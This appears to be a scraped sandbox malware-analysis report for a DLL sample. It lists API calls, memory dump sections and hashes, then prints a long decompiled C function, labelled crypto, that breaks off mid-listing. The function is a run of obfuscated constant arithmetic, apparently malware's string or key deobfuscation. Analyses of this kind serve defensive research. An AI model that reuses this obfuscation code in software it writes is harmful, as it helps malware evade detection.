Opcode ID: bb735ff999d9414c3a9b564c67b10e962bbdffe1a82627d97bbaa383f4a39bdb
Instruction ID: b503c03124c569718ae9a8810f1fbdd307d5d766087248ae761820d8f1621901
Opcode Fuzzy Hash: bb735ff999d9414c3a9b564c67b10e962bbdffe1a82627d97bbaa383f4a39bdb
Instruction Fuzzy Hash: 372166B5E00208FBEF04DFA4CC0A9DEBBB2FB44314F108199E525AB250D7B65A10DF90

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC475C, Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 6EDC47A8
GetFileType.KERNELBASE(00000000), ref: 6EDC47BA

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: f7478cd088ef49eb983e57a8872156bc19e235b01340cb082da39ecff8c17491
Instruction ID: fe728ddfe9f7e736cbc1e38ff9e47c79ae395de9475c57b721227d538534357b
Opcode Fuzzy Hash: f7478cd088ef49eb983e57a8872156bc19e235b01340cb082da39ecff8c17491
Instruction Fuzzy Hash: B3118171504B528AE7708FBE88986127AADAB47AF0B34071AE4F6875F1C234D5C7C6D2

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC2C26, Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,6EDC283F,00000001,00000364,?,FFFFFFFF,000000FF,?,?,6EDBCB0C,?,?,6EDBC074), ref: 6EDC2C67

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2a368c8f946fb9e0a0408cbb9ac5caa54470c5a417f528a00d22e425b978afb9
Instruction ID: 85b72cd1587ec13c043026f03bca0865849256bfa8dc9e546a5c791977f63e6d
Opcode Fuzzy Hash: 2a368c8f946fb9e0a0408cbb9ac5caa54470c5a417f528a00d22e425b978afb9
Instruction Fuzzy Hash: 3FF0B432244D26EAFB515FF69A14B9B375C9F41EE8B009522F824AB184CB32D54186B3

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC22E9, Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,6EDBCB0C,?,?,6EDBC074,00000400,FFFDC801,?,?,00000001), ref: 6EDC231B

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0fdd984f6eb9c80e2cccee412940837d8e3aac6cb968e272e63f307fdbc4f3e0
Instruction ID: 94c8a44d2566e058e6ce379de36c227bdd5eee2e321f8095921a00b7fe06c491
Opcode Fuzzy Hash: 0fdd984f6eb9c80e2cccee412940837d8e3aac6cb968e272e63f307fdbc4f3e0
Instruction Fuzzy Hash: E5E0E531141932DAFA5217E68C0478A766CAF02EE9F001124EC5097180DB20C40381B3

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBF3B1, Relevance: 1.5, APIs: 1, Instructions: 27
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,6EDC1E1B,?,?,?,?,00000000,?,00000000,?,?,6EDC4EAE,?,6EDC4D3D,00000000,?), ref: 6EDC1C3F

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 1a0a0dd56836aef913a11dc3e6bb643beb73d35415a1879d2d1ba729bcf7d6fe
Instruction ID: e8dacff9e11b66723551fcb1b1c00f275505ed1ecf2821fb9c55395107d75f19
Opcode Fuzzy Hash: 1a0a0dd56836aef913a11dc3e6bb643beb73d35415a1879d2d1ba729bcf7d6fe
Instruction Fuzzy Hash: 67E04F61384637A5F95617F01E2ABA6266C1F45FDCF141815FA199A0C2EF9AC1069033

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC1C23, Relevance: 1.5, APIs: 1, Instructions: 23
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,6EDC1E1B,?,?,?,?,00000000,?,00000000,?,?,6EDC4EAE,?,6EDC4D3D,00000000,?), ref: 6EDC1C3F

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 9d1fdec4bb34b460ca12226ce06bdf750fe73af7d94fc9bc755ebcad65279922
Instruction ID: 3c3c4e2132337276a5dfc8d6e076744c047a8a045329cec2d7c6270db7394090
Opcode Fuzzy Hash: 9d1fdec4bb34b460ca12226ce06bdf750fe73af7d94fc9bc755ebcad65279922
Instruction Fuzzy Hash: F6E08C6038462AA1F91517E01E1ABA5266C0B45FDCF001419B719AA0C29F8681079023

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC228A, Relevance: 1.5, APIs: 1, Instructions: 9COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(?,?,6EDC0ED2,00000000,6EDFB1B8,0000000C,6EDC0E99,?,?,6EDC2C59,?,?,6EDC283F,00000001,00000364,?), ref: 6EDC2299

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 1a2c3e1ebe08cfdaef18d42d89c4f857dd44171af85abf394057f45a8bea169c
Instruction ID: 776fc87377fdc2ff16d1590a7ec9ed7e1e5a85f26d92a0b359546e39e673dd70
Opcode Fuzzy Hash: 1a2c3e1ebe08cfdaef18d42d89c4f857dd44171af85abf394057f45a8bea169c
Instruction Fuzzy Hash: C6B022B200020CA38F00AA88CC0E8823B0CA0C0AA23820020F80E8B220CA30E3228288

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 007B91F7, Relevance: 32.4, Strings: 25, Instructions: 1116
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E007B91F7() {
				signed int _v8;
				char _v32;
				char _v40;
				signed int _v44;
				char _v52;
				signed int _v64;
				intOrPtr _v68;
				signed int _v72;
				signed int _v76;
				signed int _v88;
				char _v92;
				char _v100;
				char _v108;
				char _v112;
				char _v116;
				char _v120;
				char _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				unsigned int _v168;
				signed int _v172;
				unsigned int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _v268;
				signed int _v272;
				signed int _v276;
				signed int _v280;
				signed int _v284;
				unsigned int _v288;
				signed int _v292;
				signed int _v296;
				signed int _v300;
				signed int _v304;
				unsigned int _v308;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				signed int _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				signed int _v364;
				signed int _v368;
				signed int _v372;
				signed int _v376;
				signed int _v380;
				signed int _v384;
				signed int _v388;
				signed int _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				unsigned int _v408;
				signed int _v412;
				signed int _v416;
				signed int _v420;
				signed int _v424;
				signed int _v428;
				signed int _v432;
				signed int _v436;
				signed int _v440;
				signed int _v444;
				signed int _v448;
				signed int _v452;
				signed int _v456;
				signed int _v460;
				signed int _v464;
				unsigned int _v468;
				signed int _v472;
				unsigned int _v476;
				signed int _v480;
				signed int _v484;
				signed int _v488;
				signed int _v492;
				signed int _v496;
				signed int _v500;
				signed int _v504;
				signed int _v508;
				signed int _v512;
				signed int _v516;
				signed int _v520;
				signed int _v524;
				signed int _v528;
				signed int _v532;
				signed int _v536;
				signed int _v540;
				signed int _v544;
				signed int _v548;
				signed int _v552;
				signed int _v556;
				signed int _v560;
				signed int _v564;
				signed int _v568;
				signed int _v572;
				signed int _v576;
				signed int _v580;
				signed int _v584;
				signed int _v588;
				signed int _v592;
				signed int _v596;
				signed int _t1157;
				signed int _t1161;
				signed int _t1165;
				signed int _t1167;
				signed int _t1197;
				void* _t1204;
				signed int _t1240;
				signed int _t1242;
				signed int _t1243;
				signed int _t1244;
				signed int _t1245;
				signed int _t1246;
				signed int _t1247;
				signed int _t1248;
				signed int _t1249;
				signed int _t1250;
				signed int _t1251;
				signed int _t1252;
				signed int _t1253;
				signed int _t1254;
				signed int _t1255;
				signed int _t1256;
				signed int _t1257;
				signed int _t1258;
				signed int _t1259;
				signed int _t1260;
				signed int _t1261;
				signed int _t1262;
				signed int _t1263;
				signed int _t1264;
				signed int _t1278;
				signed int _t1349;
				signed int _t1350;
				signed int _t1353;
				signed int _t1369;
				signed int _t1381;
				void* _t1383;
				void* _t1388;
				void* _t1389;
				void* _t1390;

				_t1383 = (_t1381 & 0xfffffff8) - 0x250;
				_v132 = 0x2e436f;
				_v132 = _v132 | 0xf460f017;
				_v132 = _v132 ^ 0xf46ef27d;
				_v196 = 0x7e1c2e;
				_v196 = _v196 ^ 0x6e4e5938;
				_v196 = _v196 ^ 0x6e304516;
				_v244 = 0x3317d;
				_v244 = _v244 >> 1;
				_v244 = _v244 ^ 0x000198be;
				_v544 = 0x71e6e4;
				_v544 = _v544 ^ 0x19d035bd;
				_v544 = _v544 ^ 0xde3e36e6;
				_v544 = _v544 ^ 0xd4549da3;
				_v544 = _v544 ^ 0x13ca6661;
				_v252 = 0x207f28;
				_v252 = _v252 ^ 0x96f23610;
				_v252 = _v252 ^ 0x96d56cb8;
				_v284 = 0xb4eb71;
				_v284 = _v284 | 0x642f1f72;
				_v284 = _v284 ^ 0x64bf3882;
				_v300 = 0x36db85;
				_v300 = _v300 | 0x0bc6f940;
				_v300 = _v300 + 0x9fae;
				_v300 = _v300 ^ 0x0bfad767;
				_v208 = 0xa45bd2;
				_v208 = _v208 << 8;
				_v208 = _v208 ^ 0xa452a46b;
				_v336 = 0x6cd8ed;
				_v336 = _v336 * 0x36;
				_t1353 = 0xaa07b46;
				_t1349 = 0x36;
				_v336 = _v336 / _t1349;
				_v336 = _v336 ^ 0x006d1188;
				_v524 = 0xd565be;
				_t1242 = 0x7c;
				_v524 = _v524 / _t1242;
				_v524 = _v524 + 0xd960;
				_v524 = _v524 << 5;
				_v524 = _v524 ^ 0x00539a7f;
				_v528 = 0xe16fa2;
				_v528 = _v528 << 3;
				_v528 = _v528 + 0x4317;
				_v528 = _v528 + 0x3040;
				_v528 = _v528 ^ 0x0704c1ec;
				_v372 = 0x8fac1c;
				_v372 = _v372 ^ 0x1e276069;
				_v372 = _v372 * 0x3f;
				_v372 = _v372 ^ 0x8b8c4a83;
				_v272 = 0x48fc0a;
				_v272 = _v272 << 4;
				_v272 = _v272 ^ 0x048c9edd;
				_v516 = 0x93770a;
				_v516 = _v516 >> 9;
				_v516 = _v516 | 0x4252a838;
				_v516 = _v516 + 0x705d;
				_v516 = _v516 ^ 0x4251f9f6;
				_v512 = 0x41b3f;
				_v512 = _v512 >> 7;
				_v512 = _v512 | 0x35af6ec2;
				_v512 = _v512 * 0x53;
				_v512 = _v512 ^ 0x67eb8694;
				_v212 = 0xb915;
				_v212 = _v212 ^ 0x948b0e88;
				_v212 = _v212 ^ 0x9486ad8a;
				_v356 = 0x63bb5f;
				_v356 = _v356 ^ 0x436200ea;
				_t1243 = 0x7e;
				_v356 = _v356 * 0x76;
				_v356 = _v356 ^ 0xe2c785b3;
				_v324 = 0x6c06d7;
				_v324 = _v324 >> 0xa;
				_v324 = _v324 / _t1243;
				_v324 = _v324 ^ 0x000b64e8;
				_v308 = 0xca3f81;
				_v308 = _v308 >> 2;
				_v308 = _v308 >> 0xc;
				_v308 = _v308 ^ 0x00092fdc;
				_v360 = 0xbfd72b;
				_v360 = _v360 ^ 0xff3a0c39;
				_v360 = _v360 << 9;
				_v360 = _v360 ^ 0x0bb3b832;
				_v240 = 0x9d6f80;
				_v240 = _v240 / _t1349;
				_v240 = _v240 ^ 0x000c7437;
				_v588 = 0x113401;
				_t1244 = 0x61;
				_v588 = _v588 * 0x24;
				_v588 = _v588 / _t1244;
				_v588 = _v588 ^ 0x0003e589;
				_v384 = 0x4b8860;
				_v384 = _v384 << 0xf;
				_v384 = _v384 << 1;
				_v384 = _v384 ^ 0x8868048a;
				_v264 = 0x29020a;
				_t1245 = 0x11;
				_v264 = _v264 * 0x21;
				_v264 = _v264 ^ 0x0542f97f;
				_v468 = 0xb6b72b;
				_v468 = _v468 + 0xffff5632;
				_v468 = _v468 >> 0xb;
				_v468 = _v468 + 0x2f7e;
				_v468 = _v468 ^ 0x00028262;
				_v460 = 0x54f239;
				_v460 = _v460 << 6;
				_v460 = _v460 + 0xfffffbb9;
				_v460 = _v460 ^ 0x82d4ff03;
				_v460 = _v460 ^ 0x97e5d5b5;
				_v140 = 0x985261;
				_v140 = _v140 + 0xffff0c59;
				_v140 = _v140 ^ 0x00972a82;
				_v500 = 0x518a2c;
				_v500 = _v500 / _t1245;
				_v500 = _v500 + 0x702a;
				_v500 = _v500 << 0xd;
				_v500 = _v500 ^ 0xa785771e;
				_v368 = 0x521baf;
				_v368 = _v368 * 0x25;
				_v368 = _v368 | 0x64d0e33c;
				_v368 = _v368 ^ 0x6fdd3e6d;
				_v436 = 0x35d7cb;
				_v436 = _v436 * 0x6d;
				_v436 = _v436 | 0xabb542e6;
				_v436 = _v436 + 0xd249;
				_v436 = _v436 ^ 0xbff7fb1b;
				_v292 = 0xcdcade;
				_v292 = _v292 | 0x43b684fa;
				_v292 = _v292 ^ 0x43f66b05;
				_v160 = 0x58e408;
				_v160 = _v160 | 0x368c4477;
				_v160 = _v160 ^ 0x36d34ac8;
				_v304 = 0x7c84d1;
				_t1246 = 0x47;
				_v304 = _v304 / _t1246;
				_v304 = _v304 + 0xffff9796;
				_v304 = _v304 ^ 0x000bb16e;
				_v216 = 0xc36bed;
				_v216 = _v216 + 0xd97;
				_v216 = _v216 ^ 0x00c2e969;
				_v476 = 0xa7b7c7;
				_v476 = _v476 << 6;
				_v476 = _v476 + 0x6c6c;
				_v476 = _v476 >> 5;
				_v476 = _v476 ^ 0x0140bd2d;
				_v520 = 0xf3ea92;
				_v520 = _v520 + 0xffff847d;
				_t1247 = 0x3c;
				_v520 = _v520 * 0x69;
				_v520 = _v520 / _t1247;
				_v520 = _v520 ^ 0x01a2bdb3;
				_v440 = 0x637ee1;
				_v440 = _v440 + 0xffff9b2b;
				_v440 = _v440 ^ 0xed5600a5;
				_v440 = _v440 + 0xbbcd;
				_v440 = _v440 ^ 0xed38855c;
				_v316 = 0xd359ff;
				_t1248 = 0x12;
				_v316 = _v316 / _t1248;
				_t1249 = 0x2c;
				_v316 = _v316 / _t1249;
				_v316 = _v316 ^ 0x000bd707;
				_v404 = 0xe9d10;
				_v404 = _v404 + 0x8531;
				_v404 = _v404 << 7;
				_v404 = _v404 ^ 0x0799698e;
				_v568 = 0x4b0a43;
				_t313 =  &_v568; // 0x4b0a43
				_t1250 = 0x2f;
				_v568 =  *_t313 * 0x38;
				_v568 = _v568 + 0xffffdc5e;
				_v568 = _v568 ^ 0x149a11d4;
				_v568 = _v568 ^ 0x04f7f7c0;
				_v268 = 0xc0e06b;
				_v268 = _v268 / _t1250;
				_v268 = _v268 ^ 0x000b86b0;
				_v496 = 0xf422ea;
				_v496 = _v496 + 0xfffff2eb;
				_v496 = _v496 >> 7;
				_v496 = _v496 + 0xa1f8;
				_v496 = _v496 ^ 0x0008b42f;
				_v188 = 0x553f6c;
				_v188 = _v188 | 0x678376e9;
				_v188 = _v188 ^ 0x67d882bd;
				_v396 = 0x923886;
				_t1251 = 5;
				_v396 = _v396 / _t1251;
				_v396 = _v396 + 0x9c46;
				_v396 = _v396 ^ 0x00120a3e;
				_v560 = 0x9fec96;
				_v560 = _v560 | 0x622a8444;
				_v560 = _v560 ^ 0x99c5ba67;
				_v560 = _v560 >> 0xd;
				_v560 = _v560 ^ 0x0000fc9d;
				_v128 = 0xf88125;
				_v128 = _v128 << 0x10;
				_v128 = _v128 ^ 0x812bf008;
				_v552 = 0xcb4f6a;
				_v552 = _v552 / _t1349;
				_v552 = _v552 + 0xffff6d2e;
				_v552 = _v552 | 0x89619965;
				_v552 = _v552 ^ 0x8962c3cc;
				_v432 = 0xf978ba;
				_v432 = _v432 + 0xffffa816;
				_v432 = _v432 ^ 0x2094ddcc;
				_v432 = _v432 >> 0xa;
				_v432 = _v432 ^ 0x0007c0c7;
				_v488 = 0xcf9f95;
				_v488 = _v488 ^ 0xbf36e5e7;
				_t1252 = 0x58;
				_v488 = _v488 * 0x2a;
				_v488 = _v488 + 0xffff2176;
				_v488 = _v488 ^ 0x7ee684ba;
				_v388 = 0x12fb7d;
				_v388 = _v388 * 0x4d;
				_v388 = _v388 >> 3;
				_v388 = _v388 ^ 0x00bf9b98;
				_v340 = 0x796913;
				_v340 = _v340 + 0xac69;
				_v340 = _v340 * 0x61;
				_v340 = _v340 ^ 0x2e401a56;
				_v328 = 0x91b64e;
				_v328 = _v328 / _t1252;
				_v328 = _v328 ^ 0x35ed1920;
				_v328 = _v328 ^ 0x35e14498;
				_v320 = 0xcfff90;
				_v320 = _v320 + 0x6092;
				_v320 = _v320 + 0xffff7281;
				_v320 = _v320 ^ 0x00c5b6f7;
				_v452 = 0xef9f32;
				_v452 = _v452 | 0xbd38e664;
				_v452 = _v452 + 0xf2b8;
				_v452 = _v452 | 0x10bd091b;
				_v452 = _v452 ^ 0xbeb9595a;
				_v192 = 0x21f349;
				_t1253 = 0x54;
				_v192 = _v192 / _t1253;
				_v192 = _v192 ^ 0x000688f1;
				_v200 = 0xc0b775;
				_v200 = _v200 << 0xb;
				_v200 = _v200 ^ 0x05bf80fb;
				_v376 = 0x690522;
				_v376 = _v376 + 0xffffeeed;
				_v376 = _v376 ^ 0x86395638;
				_v376 = _v376 ^ 0x865332bb;
				_v248 = 0x6656fd;
				_v248 = _v248 | 0x17cebcd9;
				_v248 = _v248 ^ 0x17e231ad;
				_v256 = 0x5a882f;
				_v256 = _v256 + 0xffff43e8;
				_v256 = _v256 ^ 0x005beeea;
				_v176 = 0x5696cd;
				_v176 = _v176 >> 0xb;
				_v176 = _v176 ^ 0x000c4c16;
				_v456 = 0xda330b;
				_v456 = _v456 + 0xffff846d;
				_v456 = _v456 + 0x61bd;
				_v456 = _v456 | 0x00ba29dc;
				_v456 = _v456 ^ 0x00ff632b;
				_v380 = 0xd1e147;
				_v380 = _v380 >> 6;
				_v380 = _v380 << 0xd;
				_v380 = _v380 ^ 0x68f0e02b;
				_v180 = 0x3ff1d9;
				_t1254 = 0x33;
				_v180 = _v180 / _t1254;
				_v180 = _v180 ^ 0x00023228;
				_v344 = 0xf4edb4;
				_v344 = _v344 << 0xd;
				_v344 = _v344 | 0x97e14590;
				_v344 = _v344 ^ 0x9ff7325a;
				_v484 = 0x6c4a81;
				_v484 = _v484 | 0xfdca8d1b;
				_v484 = _v484 >> 0x10;
				_v484 = _v484 << 0xf;
				_v484 = _v484 ^ 0x7effa9ca;
				_v596 = 0xdabff7;
				_v596 = _v596 + 0x73c4;
				_v596 = _v596 << 7;
				_v596 = _v596 | 0xfa5794d9;
				_v596 = _v596 ^ 0xffd249eb;
				_v424 = 0x540103;
				_v424 = _v424 ^ 0xa382819c;
				_v424 = _v424 | 0xb091fb68;
				_v424 = _v424 ^ 0xb3d56d76;
				_v156 = 0x8c7fe9;
				_v156 = _v156 + 0xffff3974;
				_v156 = _v156 ^ 0x008ef74c;
				_v420 = 0xfd2cd1;
				_v420 = _v420 >> 0xc;
				_v420 = _v420 ^ 0xe3610dc2;
				_v420 = _v420 ^ 0xe3634cc2;
				_v504 = 0xf0e4f4;
				_v504 = _v504 + 0xb6ec;
				_v504 = _v504 ^ 0x32429e81;
				_v504 = _v504 + 0xadf2;
				_v504 = _v504 ^ 0x32bc4899;
				_v276 = 0x5de68b;
				_v276 = _v276 + 0x1902;
				_v276 = _v276 ^ 0x005cfb2b;
				_v464 = 0x5cdad0;
				_v464 = _v464 << 2;
				_v464 = _v464 + 0x27c3;
				_v464 = _v464 ^ 0xfe85190a;
				_v464 = _v464 ^ 0xfff0056f;
				_v576 = 0x5bf2e0;
				_v576 = _v576 << 9;
				_v576 = _v576 + 0x6474;
				_v576 = _v576 << 6;
				_v576 = _v576 ^ 0xf98a1109;
				_v260 = 0xe6f5fe;
				_t1255 = 0x45;
				_v260 = _v260 / _t1255;
				_v260 = _v260 ^ 0x0003b47a;
				_v416 = 0x364d66;
				_v416 = _v416 << 9;
				_v416 = _v416 ^ 0x871fcbcc;
				_v416 = _v416 ^ 0xeb871ae9;
				_v152 = 0xded983;
				_v152 = _v152 + 0x4b0f;
				_v152 = _v152 ^ 0x00df80d2;
				_v448 = 0xc5cd59;
				_v448 = _v448 + 0xffff44a9;
				_v448 = _v448 | 0xe64c83cc;
				_t1256 = 0x74;
				_v448 = _v448 / _t1256;
				_v448 = _v448 ^ 0x01f904de;
				_v592 = 0x675892;
				_v592 = _v592 | 0xbe4f77c4;
				_v592 = _v592 + 0xffffac99;
				_v592 = _v592 ^ 0xb6dae313;
				_v592 = _v592 ^ 0x08b8aa9c;
				_v288 = 0xc30099;
				_v288 = _v288 >> 0x10;
				_v288 = _v288 + 0xe193;
				_v288 = _v288 ^ 0x000c0ea3;
				_v136 = 0xcb6e43;
				_v136 = _v136 ^ 0xb95a6532;
				_v136 = _v136 ^ 0xb99574cc;
				_v204 = 0xfd67d3;
				_v204 = _v204 + 0xbcdb;
				_v204 = _v204 ^ 0x00f4c5c9;
				_v564 = 0x58b287;
				_t1257 = 0x19;
				_v564 = _v564 * 0x70;
				_v564 = _v564 + 0x3be8;
				_v564 = _v564 * 0x25;
				_v564 = _v564 ^ 0x9bd3e329;
				_v148 = 0x1d248b;
				_v148 = _v148 + 0x6f6a;
				_v148 = _v148 ^ 0x00153086;
				_v572 = 0xf52f4c;
				_v572 = _v572 / _t1257;
				_v572 = _v572 + 0xab35;
				_t1258 = 0xc;
				_v572 = _v572 / _t1258;
				_v572 = _v572 ^ 0x00067d12;
				_v580 = 0xf5bae7;
				_v580 = _v580 | 0x5cf7bfbf;
				_v580 = _v580 * 0x7e;
				_v580 = _v580 ^ 0xc1ff09fa;
				_v408 = 0x6a02f0;
				_v408 = _v408 + 0xffff43b7;
				_v408 = _v408 >> 7;
				_v408 = _v408 ^ 0x000eaeb8;
				_v532 = 0xe5ed81;
				_v532 = _v532 >> 0x10;
				_v532 = _v532 >> 8;
				_v532 = _v532 ^ 0x299daec3;
				_v532 = _v532 ^ 0x299c8334;
				_v540 = 0x73bd6d;
				_v540 = _v540 + 0x3999;
				_v540 = _v540 ^ 0x4d3fe297;
				_v540 = _v540 + 0xbeb4;
				_v540 = _v540 ^ 0x4d4b6113;
				_v280 = 0xf78be9;
				_v280 = _v280 + 0xffff2e4a;
				_v280 = _v280 ^ 0x00f6eff7;
				_v168 = 0x4a6296;
				_v168 = _v168 >> 8;
				_v168 = _v168 ^ 0x0006c563;
				_v444 = 0x52befb;
				_v444 = _v444 | 0xfb460347;
				_v444 = _v444 * 0x57;
				_v444 = _v444 << 8;
				_v444 = _v444 ^ 0x7b329ced;
				_v364 = 0x8bf6d0;
				_t1259 = 0x49;
				_v364 = _v364 / _t1259;
				_v364 = _v364 | 0xd55b2da9;
				_v364 = _v364 ^ 0xd551e475;
				_v472 = 0x18acd0;
				_v472 = _v472 + 0xffff7fc7;
				_v472 = _v472 + 0xffff0e44;
				_v472 = _v472 + 0xffff0bff;
				_v472 = _v472 ^ 0x001d017a;
				_v144 = 0x4fd139;
				_v144 = _v144 ^ 0x0d7608f8;
				_v144 = _v144 ^ 0x0d3e01c7;
				_v220 = 0xa1d89d;
				_v220 = _v220 + 0x68ba;
				_v220 = _v220 ^ 0x00a8b60a;
				_v224 = 0xd8ad63;
				_t1260 = 0x39;
				_v224 = _v224 * 0xd;
				_v224 = _v224 ^ 0x0b05e067;
				_v232 = 0x1dd59e;
				_v232 = _v232 + 0xffffb984;
				_v232 = _v232 ^ 0x0014d7c8;
				_v492 = 0x8ee343;
				_v492 = _v492 + 0xfffffdd7;
				_v492 = _v492 * 0x50;
				_v492 = _v492 + 0xffff20fb;
				_v492 = _v492 ^ 0x2ca84503;
				_v352 = 0xb8f26f;
				_v352 = _v352 + 0x7ba8;
				_v352 = _v352 >> 6;
				_v352 = _v352 ^ 0x000b39f4;
				_v536 = 0x43cba6;
				_v536 = _v536 + 0xffff968b;
				_v536 = _v536 + 0xd20d;
				_v536 = _v536 << 1;
				_v536 = _v536 ^ 0x00836c5a;
				_v480 = 0x5e5d26;
				_v480 = _v480 + 0xffff687f;
				_v480 = _v480 ^ 0xddceb38b;
				_v480 = _v480 | 0x4dfd19e7;
				_v480 = _v480 ^ 0xddf7d232;
				_v236 = 0x7bb6bb;
				_v236 = _v236 << 0xa;
				_v236 = _v236 ^ 0xeeda4ae1;
				_v332 = 0xdbd532;
				_v332 = _v332 / _t1260;
				_v332 = _v332 + 0x6f41;
				_v332 = _v332 ^ 0x000f8c93;
				_v172 = 0x169d2;
				_v172 = _v172 << 1;
				_v172 = _v172 ^ 0x000bb064;
				_v228 = 0xc8a619;
				_t1261 = 0x51;
				_v228 = _v228 / _t1261;
				_v228 = _v228 ^ 0x000b224e;
				_v296 = 0xf4bcd8;
				_v296 = _v296 + 0xffffb281;
				_v296 = _v296 + 0xffff612f;
				_v296 = _v296 ^ 0x00ff5067;
				_v428 = 0x3c482c;
